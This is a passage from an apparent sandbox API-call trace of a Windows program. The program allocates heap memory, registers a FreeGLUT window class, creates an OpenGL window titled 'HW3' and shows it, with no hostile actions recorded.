(dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.414] SetLastError (dwErrCode=0x0) [0024.414] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.415] GetLastError () returned 0x0 [0024.415] SetLastError (dwErrCode=0x0) [0024.416] GetLastError () returned 0x0 [0024.416] SetLastError (dwErrCode=0x0) [0024.416] GetLastError () returned 0x0 [0024.416] SetLastError (dwErrCode=0x0) [0024.416] GetLastError () returned 0x0 [0024.416] SetLastError (dwErrCode=0x0) [0024.416] GetLastError () returned 0x0 [0024.416] SetLastError (dwErrCode=0x0) [0024.416] GetLastError () returned 0x0 [0024.416] SetLastError (dwErrCode=0x0) [0024.416] GetLastError () returned 0x0 [0024.416] SetLastError (dwErrCode=0x0) [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x98) returned 0x22f19d0 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x1f) returned 0x22f1a70 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x36) returned 0x22f1a98 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x37) returned 0x22f1ad8 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x3c) returned 0x22f1b18 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x31) returned 0x22f1b60 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x17) returned 0x22f1ba0 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x24) returned 0x22f1bc0 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x14) returned 0x22f1bf0 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0xd) returned 0x22f1c10 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x25) returned 0x22f1c28 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x39) returned 0x22f1c58 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x18) returned 0x22f1ca0 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x17) returned 0x22f1cc0 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0xe) returned 0x22f1ce0 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x69) returned 0x22f1cf8 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x3e) returned 0x22f1d70 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x1b) returned 0x22f1db8 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x1d) returned 0x22f1de0 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x48) returned 0x22f1e08 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x12) returned 0x22f1e58 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x18) returned 0x22f1e78 [0024.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x1b) returned 0x22f1e98 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x24) returned 0x22f1ec0 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x29) returned 0x22f1ef0 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x1e) returned 0x22f1f28 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x41) returned 0x22f1f50 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x17) returned 0x22f1fa0 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0xf) returned 0x22f1fc0 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x16) returned 0x22f1fd8 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x2a) returned 0x22f1ff8 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x29) returned 0x22f2030 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x15) returned 0x22f2068 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x1e) returned 0x22f2088 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x2a) returned 0x22f20b0 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x12) returned 0x22f20e8 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x18) returned 0x22f2108 [0024.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x46) returned 0x22f2128 [0024.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f11f8 | out: hHeap=0x22f0000) returned 1 [0024.417] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76c20000 [0024.417] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0024.417] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0024.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x800) returned 0x22f2178 [0024.418] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f11f8 [0024.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fee0 | out: lpSystemTimeAsFileTime=0x18fee0*(dwLowDateTime=0x94399280, dwHighDateTime=0x1d595b2)) [0024.419] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x442a59) returned 0x0 [0024.419] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.419] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.420] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22f1280 [0024.420] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f12a0 [0024.420] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22f12b0 [0024.420] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.420] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f12f0 [0024.421] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22f1300 [0024.421] GetLastError () returned 0x0 [0024.421] SetLastError (dwErrCode=0x0) [0024.421] GetLastError () returned 0x0 [0024.421] SetLastError (dwErrCode=0x0) [0024.421] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0xd8) returned 0x22f1320 [0024.421] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x355) returned 0x22f1400 [0024.421] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1400 | out: hHeap=0x22f0000) returned 1 [0024.421] GetLastError () returned 0x0 [0024.421] SetLastError (dwErrCode=0x0) [0024.421] GetLastError () returned 0x0 [0024.421] SetLastError (dwErrCode=0x0) [0024.421] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0xd8) returned 0x22f1400 [0024.421] GetLastError () returned 0x0 [0024.421] SetLastError (dwErrCode=0x0) [0024.421] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x355) returned 0x22f2980 [0024.421] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f2980 | out: hHeap=0x22f0000) returned 1 [0024.422] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1320 | out: hHeap=0x22f0000) returned 1 [0024.422] GetLastError () returned 0x0 [0024.422] SetLastError (dwErrCode=0x0) [0024.422] GetLastError () returned 0x0 [0024.422] SetLastError (dwErrCode=0x0) [0024.422] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x200) returned 0x22f14e0 [0024.422] GetLastError () returned 0x0 [0024.422] SetLastError (dwErrCode=0x0) [0024.422] GetLastError () returned 0x0 [0024.422] SetLastError (dwErrCode=0x0) [0024.422] GetLastError () returned 0x0 [0024.422] SetLastError (dwErrCode=0x0) [0024.422] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0xd8) returned 0x22f1320 [0024.422] GetLastError () returned 0x0 [0024.422] SetLastError (dwErrCode=0x0) [0024.422] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x355) returned 0x22f2980 [0024.422] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f2980 | out: hHeap=0x22f0000) returned 1 [0024.423] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1400 | out: hHeap=0x22f0000) returned 1 [0024.423] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.423] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22f16e8 [0024.423] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.424] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.424] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.425] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.425] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f16f8 [0024.425] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.425] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1708 [0024.425] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1718 [0024.425] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1728 [0024.426] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1738 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1748 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1758 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1400 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1410 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22f1420 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22f1430 [0024.426] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1420 | out: hHeap=0x22f0000) returned 1 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22f1448 [0024.426] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1430 | out: hHeap=0x22f0000) returned 1 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x20) returned 0x22f1420 [0024.426] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1448 | out: hHeap=0x22f0000) returned 1 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x30) returned 0x22f1448 [0024.426] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1420 | out: hHeap=0x22f0000) returned 1 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x48) returned 0x22f1480 [0024.426] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1448 | out: hHeap=0x22f0000) returned 1 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x68) returned 0x22f2980 [0024.426] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1480 | out: hHeap=0x22f0000) returned 1 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x98) returned 0x22f1420 [0024.426] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f2980 | out: hHeap=0x22f0000) returned 1 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xe0) returned 0x22f2980 [0024.426] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1420 | out: hHeap=0x22f0000) returned 1 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x150) returned 0x22f2a68 [0024.426] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f2980 | out: hHeap=0x22f0000) returned 1 [0024.426] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x1f8) returned 0x22f2bc0 [0024.426] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f2a68 | out: hHeap=0x22f0000) returned 1 [0024.427] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x2f0) returned 0x22f2dc0 [0024.427] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f2bc0 | out: hHeap=0x22f0000) returned 1 [0024.427] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x468) returned 0x22f30b8 [0024.427] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f2dc0 | out: hHeap=0x22f0000) returned 1 [0024.427] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1420 [0024.427] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x320) returned 0x22f2980 [0024.427] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f30b8 | out: hHeap=0x22f0000) returned 1 [0024.427] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1410 | out: hHeap=0x22f0000) returned 1 [0024.427] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x320) returned 0x22f2ca8 [0024.427] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f2980 | out: hHeap=0x22f0000) returned 1 [0024.427] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1420 | out: hHeap=0x22f0000) returned 1 [0024.427] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.428] RtlSizeHeap (HeapHandle=0x22f0000, Flags=0x0, MemoryPointer=0x22f11f8) returned 0x80 [0024.428] GetLastError () returned 0x0 [0024.428] SetLastError (dwErrCode=0x0) [0024.428] GetLastError () returned 0x0 [0024.428] SetLastError (dwErrCode=0x0) [0024.428] GetLastError () returned 0x0 [0024.428] SetLastError (dwErrCode=0x0) [0024.428] GetLastError () returned 0x0 [0024.428] SetLastError (dwErrCode=0x0) [0024.428] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.429] SetLastError (dwErrCode=0x0) [0024.429] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.430] SetLastError (dwErrCode=0x0) [0024.430] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.431] SetLastError (dwErrCode=0x0) [0024.431] GetLastError () returned 0x0 [0024.432] SetLastError (dwErrCode=0x0) [0024.432] GetLastError () returned 0x0 [0024.432] SetLastError (dwErrCode=0x0) [0024.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fedc | out: lpSystemTimeAsFileTime=0x18fedc*(dwLowDateTime=0x943bf3e0, dwHighDateTime=0x1d595b2)) [0024.432] GetLastError () returned 0x0 [0024.432] SetLastError (dwErrCode=0x0) [0024.432] GetLastError () returned 0x0 [0024.432] SetLastError (dwErrCode=0x0) [0024.432] GetLastError () returned 0x0 [0024.432] SetLastError (dwErrCode=0x0) [0024.432] GetLastError () returned 0x0 [0024.432] SetLastError (dwErrCode=0x0) [0024.432] GetLastError () returned 0x0 [0024.432] SetLastError (dwErrCode=0x0) [0024.432] GetLastError () returned 0x0 [0024.432] SetLastError (dwErrCode=0x0) [0024.432] GetLastError () returned 0x0 [0024.432] SetLastError (dwErrCode=0x0) [0024.432] GetLastError () returned 0x0 [0024.432] SetLastError (dwErrCode=0x0) [0024.432] GetLastError () returned 0x0 [0024.433] SetLastError (dwErrCode=0x0) [0024.433] GetLastError () returned 0x0 [0024.433] SetLastError (dwErrCode=0x0) [0024.433] GetLastError () returned 0x0 [0024.433] SetLastError (dwErrCode=0x0) [0024.433] GetLastError () returned 0x0 [0024.433] SetLastError (dwErrCode=0x0) [0024.433] GetLastError () returned 0x0 [0024.433] SetLastError (dwErrCode=0x0) [0024.433] GetLastError () returned 0x0 [0024.433] SetLastError (dwErrCode=0x0) [0024.433] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0024.433] GetClassInfoA (in: hInstance=0x400000, lpClassName="FREEGLUT", lpWndClass=0x18fe98 | out: lpWndClass=0x18fe98) returned 0 [0024.433] LoadIconA (hInstance=0x400000, lpIconName="GLUT_ICON") returned 0x0 [0024.434] LoadIconA (hInstance=0x0, lpIconName=0x7f05) returned 0x10031 [0024.435] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0024.435] RegisterClassA (lpWndClass=0x18fe98) returned 0x2ac13f [0024.435] GetSystemMetrics (nIndex=0) returned 1440 [0024.439] GetSystemMetrics (nIndex=1) returned 900 [0024.439] GetDesktopWindow () returned 0x10010 [0024.439] GetDC (hWnd=0x10010) returned 0x1010867 [0024.439] GetDeviceCaps (hdc=0x1010867, index=4) returned 320 [0024.439] GetDeviceCaps (hdc=0x1010867, index=6) returned 240 [0024.439] ReleaseDC (hWnd=0x10010, hDC=0x1010867) returned 1 [0024.440] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0024.442] timeGetTime () returned 0x11419a8 [0024.442] timeGetTime () returned 0x11419a8 [0024.442] GetLastError () returned 0x0 [0024.442] SetLastError (dwErrCode=0x0) [0024.442] GetLastError () returned 0x0 [0024.442] SetLastError (dwErrCode=0x0) [0024.442] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\FreeGLUT", phkResult=0x18fe60 | out: phkResult=0x18fe60*=0x0) returned 0x2 [0024.442] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x1b8) returned 0x22f2980 [0024.442] GetClassInfoA (in: hInstance=0x400000, lpClassName="FREEGLUT", lpWndClass=0x18fe20 | out: lpWndClass=0x18fe20) returned 1 [0024.442] CopyRect (in: lprcDst=0x18fdd0, lprcSrc=0x18fe04 | out: lprcDst=0x18fdd0) returned 1 [0024.443] AdjustWindowRectEx (in: lpRect=0x18fdd0, dwStyle=0x6cf0000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x18fdd0) returned 1 [0024.443] CopyRect (in: lprcDst=0x18fe04, lprcSrc=0x18fdd0 | out: lprcDst=0x18fe04) returned 1 [0024.443] CreateWindowExA (dwExStyle=0x0, lpClassName="FREEGLUT", lpWindowName="HW3", dwStyle=0x6cf0000, X=0, Y=100, nWidth=66, nHeight=88, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x22f2980) returned 0x301c2 [0024.445] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x24, wParam=0x0, lParam=0x18f9f4) returned 0x0 [0024.445] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x81, wParam=0x0, lParam=0x18f9e8) returned 0x1 [0024.447] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x83, wParam=0x0, lParam=0x18f9d4) returned 0x0 [0024.448] GetDC (hWnd=0x301c2) returned 0x38010877 [0024.448] GetDeviceCaps (hdc=0x38010877, index=12) returned 32 [0024.449] ChoosePixelFormat (hdc=0x38010877, ppfd=0x18f714) returned 1 [0024.453] SetPixelFormat (hdc=0x38010877, format=1, ppfd=0x18f714) returned 1 [0024.454] wglCreateContext () returned 0x10000 [0024.477] ReleaseDC (hWnd=0x301c2, hDC=0x38010877) returned 1 [0024.477] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1410 [0024.478] SetWindowLongA (hWnd=0x301c2, nIndex=-16, dwNewLong=114229248) returned 114229248 [0024.478] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x7c, wParam=0xfffffff0, lParam=0x18fd90) returned 0x0 [0024.478] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x7d, wParam=0xfffffff0, lParam=0x18fd90) returned 0x0 [0024.491] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0024.492] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0024.492] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0024.492] SetWindowPos (hWnd=0x301c2, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x27) returned 1 [0024.492] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x46, wParam=0x0, lParam=0x18fdac) returned 0x0 [0024.492] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x83, wParam=0x1, lParam=0x18fd84) returned 0x0 [0024.493] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x46, wParam=0x0, lParam=0x18fdac) returned 0x0 [0024.493] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0024.493] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0024.495] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0024.513] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0024.514] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0024.514] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0024.514] SetActiveWindow (hWnd=0x301c2) returned 0x301c2 [0024.514] UpdateWindow (hWnd=0x301c2) returned 1 [0024.514] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x47, wParam=0x0, lParam=0x18fdac) returned 0x0 [0024.515] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x83, wParam=0x1, lParam=0x18f990) returned 0x0 [0024.516] ShowWindow (hWnd=0x301c2, nCmdShow=1) returned 0 [0024.516] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x46, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0024.519] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0024.520] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x14, wParam=0x38010877, lParam=0x0) returned 0x0 [0024.521] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x47, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0024.521] GetDC (hWnd=0x301c2) returned 0x38010877 [0024.521] wglMakeCurrent () returned 0x1 [0024.521] glViewport () returned 0x5bcf80 [0024.528] IsIconic (hWnd=0x301c2) returned 0 [0024.528] GetWindowRect (in: hWnd=0x301c2, lpRect=0x18fb08 | out: lpRect=0x18fb08) returned 1 [0024.528] ShowCursor (bShow=1) returned 1 [0024.528] 